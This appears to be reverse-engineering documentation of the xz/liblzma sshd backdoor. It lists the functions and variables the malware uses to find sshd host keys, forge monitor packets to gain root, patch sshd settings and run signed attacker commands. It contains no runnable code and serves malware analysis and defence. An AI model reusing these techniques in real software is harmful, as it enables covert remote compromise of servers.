checks if the supplied RSA public key contains the backdoor commands, and executes them if present.

this function is called from function hooks. the output parameter do_orig will indicate to the caller if the original function should be invoked or not

Parameters
keythe public RSA key to check
ctxthe global context, used for the secret data (chacha key)
do_origoutput variable. will contain TRUE if the original function should be invoked, FALSE otherwise.
Returns
BOOL TRUE if backdoor commands were invoked, FALSE otherwise

◆ secret_data_append_from_address()

BOOL secret_data_append_from_address ( void *  addr,
secret_data_shift_cursor_t  shift_cursor,
unsigned  shift_count,
unsigned  operation_index 
)

calls secret_data_append_singleton with either the given code address or the return address, if addr is <= 1

Parameters
addrthe code address to use for the verification. NULL to use the return address
shift_cursorthe initial shift index
shift_counthow many '1' bits to shift
operation_indexidentification for this shift operation
Returns
BOOL

◆ secret_data_append_from_call_site()

BOOL secret_data_append_from_call_site ( secret_data_shift_cursor_t  shift_cursor,
unsigned  shift_count,
unsigned  operation_index,
BOOL  bypass 
)

Shifts data in the secret data store, after validation of the call site, i.e. the caller of this function for more details, see secret_data_append_singleton.

Parameters
shift_cursorthe initial shift index
shift_countnumber of '1' bits to shift
operation_indexindex/id of shit shift operation
bypassforces the result to be TRUE, evne if validation failed
Returns
BOOL TRUE if validation was successful and data was added, FALSE otherwise

◆ secret_data_append_from_code()

BOOL secret_data_append_from_code ( void *  code_start,
void *  code_end,
secret_data_shift_cursor_t  shift_cursor,
unsigned  shift_count,
BOOL  start_from_call 
)

Pushes secret data by validating the given code block.

Parameters
code_startpointer to the beginning of code/function to analyze
code_endpointer to the end of code/function to analyze
shift_cursorshift index
shift_counthow many '1' bits to shift
start_from_callTRUE if analysis should begin from the first CALL instruction FALSE to start from the first instruction
Returns
BOOL TRUE if all requested shifts were all executed. FALSE if some shift wasn't executed due to code validation failure.

◆ secret_data_append_item()

BOOL secret_data_append_item ( secret_data_shift_cursor_t  shift_cursor,
unsigned  operation_index,
unsigned  shift_count,
int  index,
u8 *  code 
)

Calls secret_data_append_singleton, if flags are non-zero.

Parameters
shift_cursorthe initial shift index
operation_indexidentification for this shift operation
shift_counthow many '1' bits to shift
indexmust be non-zero in order for the operation to be executed
codepointer to code that will be checked by the function, to "authorize" the data load
Returns
BOOL TRUE if validation was successful and data was added, FALSE otherwise

◆ secret_data_append_items()

BOOL secret_data_append_items ( secret_data_item_t items,
u64  items_count,
BOOL(*)(secret_data_shift_cursor_t, unsigned, unsigned, int, u8 *)  appender 
)

appends multiple secret data items at once

Parameters
itemsitems to append
items_countnumber of items to append
appendersecret_data_append_item
Returns
BOOL TRUE if all items have been appended successfully, FALSE otherwise

◆ secret_data_append_singleton()

BOOL secret_data_append_singleton ( u8 *  call_site,
u8 *  code,
secret_data_shift_cursor_t  shift_cursor,
unsigned  shift_count,
unsigned  operation_index 
)

Shifts data in the secret data store, after validation of code. this function is intended to be invoked only once for each operation_index value. operation_index will be used as an index into a global array of flags, so that multiple calls with the same value will be a NO-OP.

the code will be verified to check if the shift operation should be allowed or not. the algorithm will:

  • locate the beginning of the function, by scanning for the endbr64 instruction and making sure that the code lies between a pre-defined code range (set in backdoor_setup from elf_get_code_segment)
  • search for shift_count number of "reg2reg" instructions (explained below)
  • for each instruction, shift a '1' in the data register, and increment the shift cursor to the next bit index the code only considers reg2reg instruction. other instructions are skipped. the function will return TRUE if the number of shifts executed == number of wanted shifts (that is, if there are as many compatible reg2reg instructions as the number of requested shifts) NOTE: MOV instructions are counted, but don't cause any shift (they are skipped).

a reg2reg instruction is an x64 instruction with one of the following characteristics:

  • primary opcode of 0x89 (MOV) or 0x3B (CMP) or, alternatively, an opcode that passes the following validation opcode_check = opcode - 0x83; if ( opcode_check > 0x2E || ((0x410100000101 >> opcode_value) & 1) == 0 )

additionally, checks outlined in find_reg2reg_instruction must also pass NOTE: the opcode in 'opcode' is the actual opcode +0x80 TODO: inspect x64 manual to find the exact filter

if call_site is supplied, a preliminary check will be conducted to see if the caller function contains a CALL-relative instruction. several functions have a CALL in the prologue which serves a dual purpose:

  • push more data in the secret data store
  • check if the call is authorized (the code is in the authorized range, and starts with a CALL-relative instruction)
Parameters
call_siteif supplied, it will be checked if it contains a valid CALL-relative instruction
codepointer to code that will be checked by the function, to "authorize" the data load
shift_cursorthe initial shift index
shift_countnumber of '1' bits to shift, represented by the number of"reg2reg" instructions expected in the function pointed to by code
operation_indexindex/id of shit shift operation
Returns
BOOL TRUE if all requested shifts were all executed. FALSE if some shift wasn't executed due to code validation failure.

◆ secret_data_get_decrypted()

BOOL secret_data_get_decrypted ( u8 *  output,
global_context_t ctx 
)

obtains a decrypted copy of the secret data

Parameters
outputoutput buffer that will receive the decrypted data
ctxthe global context (for secret data and function imports)
Returns
BOOL TRUE if successful, FALSE otherwise

◆ sha256()

BOOL sha256 ( const void *  data,
size_t  count,
u8 *  mdBuf,
u64  mdBufSize,
imported_funcs_t funcs 
)

computes the SHA256 hash of the supplied data

Parameters
databuffer containing the data to hash
countnumber of bytes to hash from data
mdBufbuffer to write the resulting digest to
mdBufSizesize of the buffer indicated by mdBuf
funcs
Returns
BOOL

◆ sshbuf_bignum_is_negative()

BOOL sshbuf_bignum_is_negative ( struct sshbuf *  buf)

checks if the given serialized BIGNUM is negative

Parameters
bufbuffer containing a serialized BIGNUM
Returns
BOOL TRUE if the serialized BIGNUM is negative, FALSE otherwise

◆ sshd_configure_log_hook()

BOOL sshd_configure_log_hook ( cmd_arguments_t cmd_flags,
global_context_t ctx 
)

configure the log hook

Parameters
cmd_flagsflags controlling the log hook configuration
ctxthe global context

◆ sshd_find_main()

BOOL sshd_find_main ( u8 **  code_start_out,
elf_info_t sshd,
elf_info_t libcrypto,
imported_funcs_t imported_funcs 
)

finds the sshd_main function

Parameters
code_start_outfilled in with the function start, if found
sshdsshd elf info
libcryptolibcrypto elf info
imported_funcsimported funcs
Returns
TRUE if found, FALSE otherwise

◆ sshd_find_monitor_field_addr_in_function()

BOOL sshd_find_monitor_field_addr_in_function ( u8 *  code_start,
u8 *  code_end,
u8 *  data_start,
u8 *  data_end,
void **  monitor_field_ptr_out,
global_context_t ctx 
)

find a pointer to a field in struct monitor by examining code referencing it

Look for a sequence of instructions:

mov/lea [<addr>] -> reg1 ... mov reg1 -> rdi ... call mm_request_send

where <addr> is in the the specified mem_range. Return the address in monitor_field_ptr_out.

In other words, look for:

mm_request_send(pmonitor->m_recvfd, ...);

And return the &pmonitor->m_recvfd pointer.

Parameters
code_startstart of the sshd code segment
code_endend of the sshd code segment
data_startstart of the (sshd) data segment
data_endend of the (sshd) data segment
monitor_ptr_outpointer to receive the address of the monitor struct
ctxthe global context

◆ sshd_find_monitor_struct()

BOOL sshd_find_monitor_struct ( elf_info_t elf,
string_references_t refs,
global_context_t ctx 
)

finds the pointer to struct monitor, and updates the global context in ctx with its location

Parameters
elfsshd elf context
refssshd string references
ctxglobal context
Returns
BOOL TRUE if the pointer has been found, FALSE otherwise

◆ sshd_find_sensitive_data()

BOOL sshd_find_sensitive_data ( elf_info_t sshd,
elf_info_t libcrypto,
string_references_t refs,
imported_funcs_t funcs,
global_context_t ctx 
)

locates sensitive_data within sshd, and resolves some additional libcrypto functions

Parameters
sshdsshfd ELF context
libcryptolibcrypto ELF context
refsstring references
funcsimported functions
ctxglobal context
Returns
BOOL TRUE if sensitive_data was located successfully, FALSE otherwise

◆ sshd_get_client_socket()

BOOL sshd_get_client_socket ( global_context_t ctx,
int *  pSocket,
int  socket_index,
enum SocketMode  socket_direction 
)

Get either the read or write end of the sshd connection.

this is done by using the struct monitor address in ctx or, if not set, by getting the first usable socket having index socket_index

Parameters
ctxthe global context
pSocketoutput variable that will receive the socket fd
socket_indexindex n of the n-th usable socket that the function should return
socket_directionwhether to get the receiving or the sending socket
Returns
BOOL TRUE if the socket was found, FALSE otherwise

◆ sshd_get_sensitive_data_address_via_krb5ccname()

BOOL sshd_get_sensitive_data_address_via_krb5ccname ( u8 *  data_start,
u8 *  data_end,
u8 *  code_start,
u8 *  code_end,
void **  sensitive_data_out,
elf_info_t elf 
)

finds the address of sensitive_data.host_keys in sshd by using getenv( STR_KRB5CCNAME )

FIXME: add detail

Parameters
data_startstart of the sshd data segment
data_endend of the sshd data segment
code_startstart of the sshd code segment
code_endend of the sshd code segment
string_refsinfo about resolved functions
sensitive_data_outpointer to receive the address of sensitive_data
Returns
BOOL TRUE if the address was found, FALSE otherwise

◆ sshd_get_sensitive_data_address_via_xcalloc()

BOOL sshd_get_sensitive_data_address_via_xcalloc ( u8 *  data_start,
u8 *  data_end,
u8 *  code_start,
u8 *  code_end,
string_references_t string_refs,
void **  sensitive_data_out 
)

finds the address of sensitive_data.host_keys in sshd by using XREF_xcalloc_zero_size in xcalloc

FIXME: add detail

Parameters
data_startstart of the sshd data segment
data_endend of the sshd data segment
code_startstart of the sshd code segment
code_endend of the sshd code segment
string_refsinfo about resolved functions
sensitive_data_outpointer to receive the address of sensitive_data
Returns
BOOL TRUE if the address was found, FALSE otherwise

◆ sshd_get_sensitive_data_score()

int sshd_get_sensitive_data_score ( void *  sensitive_data,
elf_info_t elf,
string_references_t refs 
)

obtains a numeric score which indicates if accesses sensitive_data or not

Parameters
sensitive_datapointer to suspsected SSH host keys
elfsshd elf instance
refsinfo about resolved functions
Returns
int

◆ sshd_get_sensitive_data_score_in_demote_sensitive_data()

int sshd_get_sensitive_data_score_in_demote_sensitive_data ( void *  sensitive_data,
elf_info_t elf,
string_references_t refs 
)

obtains a numeric score which indicates if demote_sensitive_data accesses sensitive_data or not

Parameters
sensitive_datapointer to suspsected SSH host keys
elfsshd elf instance
refsinfo about resolved functions
Returns
int a score of 3 if accessed, 0 otherwise

◆ sshd_get_sensitive_data_score_in_do_child()

int sshd_get_sensitive_data_score_in_do_child ( void *  sensitive_data,
elf_info_t elf,
string_references_t refs 
)

obtains a numeric score which indicates if do_child accesses sensitive_data or not

Parameters
sensitive_datapointer to suspsected SSH host keys
elfsshd elf instance
refsinfo about resolved functions
Returns
int

◆ sshd_get_sensitive_data_score_in_main()

int sshd_get_sensitive_data_score_in_main ( void *  sensitive_data,
elf_info_t elf,
string_references_t refs 
)

obtains a numeric score which indicates if main accesses sensitive_data or not

Parameters
sensitive_datapointer to suspsected SSH host keys
elfsshd elf instance
refsinfo about resolved functions
Returns
int

◆ sshd_get_sshbuf()

BOOL sshd_get_sshbuf ( struct sshbuf *  sshbuf,
global_context_t ctx 
)

Finds the right sshbuf (FIXME: which?), starting from: (*(ctx->struct_monitor_ptr_address))->kex->my

Parameters
sshbufpointer to a sshbuf that will be filled with the values of the sshbuf
ctxthe global context
Returns
BOOL TRUE if the sshbuf was found, FALSE otherwise

◆ sshd_get_usable_socket()

BOOL sshd_get_usable_socket ( int *  pSock,
int  socket_index,
libc_imports_t imports 
)

gets the first usable socket fd

Parameters
pSockoutput variable that will receive the socket fd
socket_indexindex n of the n-th usable socket that the function should return
importsimported libc functions
Returns
BOOL TRUE if the socket was found, FALSE otherwise

◆ sshd_kex_sshbuf_get()

BOOL sshd_kex_sshbuf_get ( void *  kex,
global_context_t ctx,
void **  pOutputData,
size_t *  pOutputSize 
)

locates an sshbuf within struct kex (FIXME: which?)

Parameters
kexpointer to struct kex to search in
ctxthe global context
pOutputDataoutput variable that will receive the address of the sshbuf data
pOutputSizeoutput variable that will receive the size of the sshbuf data
Returns
BOOL TRUE if the sshbuf was found, FALSE otherwise

◆ sshd_log()

void sshd_log ( sshd_log_ctx_t log_ctx,
LogLevel  level,
const char *  fmt,
  ... 
)

calls sshlogv from openssh, similarly to sshlog in openssh

Parameters
log_ctximported openssh log functions/data (to get the sshlogv function pointer)
levellog level
fmtlog format
...

◆ sshd_patch_variables()

BOOL sshd_patch_variables ( BOOL  skip_root_patch,
BOOL  disable_pam,
BOOL  replace_monitor_reqtype,
int  monitor_reqtype,
global_context_t global_ctx 
)

Patches the sshd configuration.

Parameters
skip_root_patchTRUE to keep current configuration, FALSE to enable root login
disable_pamTRUE to disable PAM, FALSE to keep current configuration
replace_monitor_reqtypeTRUE to replace the type field in struct mon_table for MONITOR_REQ_AUTHPASSWORD. FALSE to increment it by 1 (from MONITOR_REQ_AUTHPASSWORD to MONITOR_ANS_AUTHPASSWORD)
monitor_reqtypethe new value to apply, if replace_monitor_reqtype is TRUE
global_ctx
Returns
BOOL TRUE if successful, FALSE if modifications couldn't be applied

◆ sshd_proxy_elevate()

BOOL sshd_proxy_elevate ( monitor_data_t args,
global_context_t ctx 
)

forges a new MONITOR_REQ_KEYALLOWED packet, and injects it into the server to gain root privileges through the sshd monitor.

this function is called if the calling function, run_backdoor_commands , is invoked without root (which is what normally happens when sshd is sandboxed)

the code will then construct a new packet and send a monitor request with type MONITOR_REQ_KEYALLOWED and the payload as key. the receiving end (mm_answer_keyallowed) will then run the payload through mm_answer_keyallowed_hook

the disable_backdoor flag is used to avoid running the payload more than once, in case of multiple calls

Parameters
argsarguments used to build the SSH packet
ctxthe global context
Returns
BOOL TRUE if the packet was sent successfully, FALSE otherwise

◆ update_got_address()

void* update_got_address ( elf_entry_ctx_t entry_ctx)

finds the __tls_get_addr() GOT entry

this function first computes the location of the __tls_get_addr() PLT trampoline function by using the PLT offset constant from tls_get_addr_reloc_consts

then it decodes the PLT jmp instruction to get the address of the __tls_get_addr() GOT entry

the __tls_get_addr() GOT entry is used in backdoor_setup() to find the ELF header at the start of the memory mapped ld.so

calls get_tls_get_addr_random_symbol_got_offset() to update elf_entry_ctx_t::got_ptr and elf_entry_ctx_t::got_offset sets elf_entry_ctx_t::got_offset = 0 sets elf_entry_ctx_t::cpuid_fn = 0 stores the address of the __tls_get_addr() GOT entry in elf_entry_ctx_t::got_ptr

Parameters
entry_ctx
Returns
void* the address of the __tls_get_addr() GOT entry

◆ validate_log_handler_pointers()

BOOL validate_log_handler_pointers ( void *  addr1,
void *  addr2,
void *  search_base,
u8 *  code_end,
string_references_t refs,
global_context_t global 
)

Validate that the two addresses are the expected/correct ones.

The addresses must be within 15 bytes of each other

  1. Start looking in the XREF_Could_not_get_agent_socket function
  2. Search for a lea refering mm_log_handler
  3. If the next instruction after it is a call, switch to the target function
  4. Look for a memory instruction referencing addr1
  5. Look for a memory instruction referencing addr2

So, looking for the call to set_log_handler in sshd.c::privsep_preauth:

set_log_handler(mm_log_handler, pmonitor);

Which looks like this:

void set_log_handler(log_handler_fn *handler, void *ctx) { log_handler = handler; log_handler_ctx = ctx; }

And the two addresses in question are log_handler and log_handler_ctx.

Parameters
log_handler_addr1first address to validate
log_handler_addr2second address to validate
search_baselowest valid code address
code_endhigest valid code address
refsstring references
globalthe global context
Returns
TRUE if all checks pass, FALSE otherwise

◆ verify_signature()

BOOL verify_signature ( struct sshkey sshkey,
u8 *  signed_data,
u64  sshkey_digest_offset,
u64  signed_data_size,
u8 *  signature,
u8 *  ed448_raw_key,
global_context_t global_ctx 
)

Checks if signed_data is signed with ed448_raw_key.

in order to do this, the code will

  • compute a sha256 hash of the SSH host key in sshkey (after serialization) and write it to signed_data at offset sshkey_digest_offset
  • load the ED448 key from ed448_raw_key
  • use it to verify signed_data (including the hashed SSH host key)
Parameters
sshkeythe SSH host key
signed_datadata to verify, including an empty space to hold the hashed SSH key
sshkey_digest_offsetoffset to write the hashed SSH key to, in signed_data
signed_data_sizelength of the signed_data buffer, including the space for the SSH key hash digest
signaturesignature of the signed data to check
ed448_raw_keythe ED448 public key obtained from secret_data_get_decrypted
global_ctx
Returns
BOOL TRUE if the signature verification is successful, FALSE otherwise

◆ x86_dasm()

BOOL x86_dasm ( dasm_ctx_t ctx,
u8 *  code_start,
u8 *  code_end 
)

disassembles the given x64 code

Parameters
ctxempty disassembler context to hold the state
code_startpointer to the start of buffer (first disassemblable location)
code_endpointer to the end of the buffer
Returns
BOOL TRUE if disassembly was successful, FALSE otherwise

Variable Documentation

◆ cpuid_random_symbol

const u64 cpuid_random_symbol
extern

a bogus global variable that is used by the backdoor to generate an extra symbol

inside a .rodata section

the symbol is used by init_elf_entry_ctx()

◆ cpuid_reloc_consts

const backdoor_cpuid_reloc_consts_t cpuid_reloc_consts
extern

special .rodata section that contains _cpuid() related GOT offsets

liblzma_la-crc64-fast.o lists the fields in the relocation table so that the linker fills out the fields with the offsets

used by call_backdoor_init_stage2(), get_got_offset() and get_cpuid_got_index()

◆ elf_functions

special .data.rel.ro section that contains addresses to various functions

appears to be another obfuscation attempt

liblzma_la-crc64-fast.o lists the fields in the relocation table so that the linker fills out the fields with the offsets

used by update_got_address() and get_tls_get_addr_random_symbol_got_offset()

used by

◆ elf_functions_offset

const ptrdiff_t elf_functions_offset
extern

special .data.rel.ro section that contains the offset to elf_functions

liblzma_la-crc64-fast.o lists the fields in the relocation table so that the linker fills out the fields with the offsets

the variable maps to a relocation entry of type R_X86_64_64 and value elf_functions-0x2a0

◆ fake_lzma_allocator

special .data.rel.ro section that contains a fake lzma_allocator

the fake lzma_allocator makes lzma_alloc() call fake_lzma_alloc()

liblzma_la-crc64-fast.o lists the fields in the relocation table so that the linker fills out the fields with the offsets

lzma_allocator::alloc is the address of fake_lzma_alloc() the field maps to a relocation entry of type R_X86_64_64 and value fake_lzma_alloc

lzma_allocator::free is the address of fake_lzma_free() the field maps to a relocation entry of type R_X86_64_64 and value fake_lzma_free

lzma_allocator::opaque is the address of x86_dasm() the field maps to a relocation entry of type R_X86_64_64 and value x86_dasm

◆ fake_lzma_allocator_offset

const ptrdiff_t fake_lzma_allocator_offset
extern

special .data.rel.ro section that contains the offset to fake_lzma_allocator_struct

liblzma_la-crc64-fast.o lists the fields in the relocation table so that the linker fills out the fields with the offsets

the variable maps to a relocation entry of type R_X86_64_GOTOFF64 and value cpuid_random_symbol-0x180

used by get_lzma_allocator_address()

◆ hooks_data_addr

backdoor_hooks_data_t* hooks_data_addr
extern

location of backdoor_hooks_data_t

set in process_shared_libraries_map() to a location in the spare bytes after the last liblzma data segment

◆ resolver_call_count

u32 resolver_call_count
extern

counts the number of times the IFUNC resolver is called

used by backdoor_init()

◆ string_action_data

const u32 string_action_data[1304]
extern

contains action data for the encoded string radix tree

inside a .rodata section

used by get_string_id()

◆ string_mask_data

const u64 string_mask_data[238]
extern

contains mask data for the encoded string radix tree

inside a .rodata section

used by get_string_id()

◆ tls_get_addr_random_symbol

const u64 tls_get_addr_random_symbol
extern

a bogus global variable that is used by the backdoor to generate an extra symbol

inside a .rodata section

the symbol is used by update_got_address()

◆ tls_get_addr_reloc_consts

const backdoor_tls_get_addr_reloc_consts_t tls_get_addr_reloc_consts
extern

special .rodata section that contains __tls_get_addr() related GOT offsets

liblzma_la-crc64-fast.o lists the fields in the relocation table so that the linker fills out the fields with the offsets

used by update_got_address() and get_tls_get_addr_random_symbol_got_offset()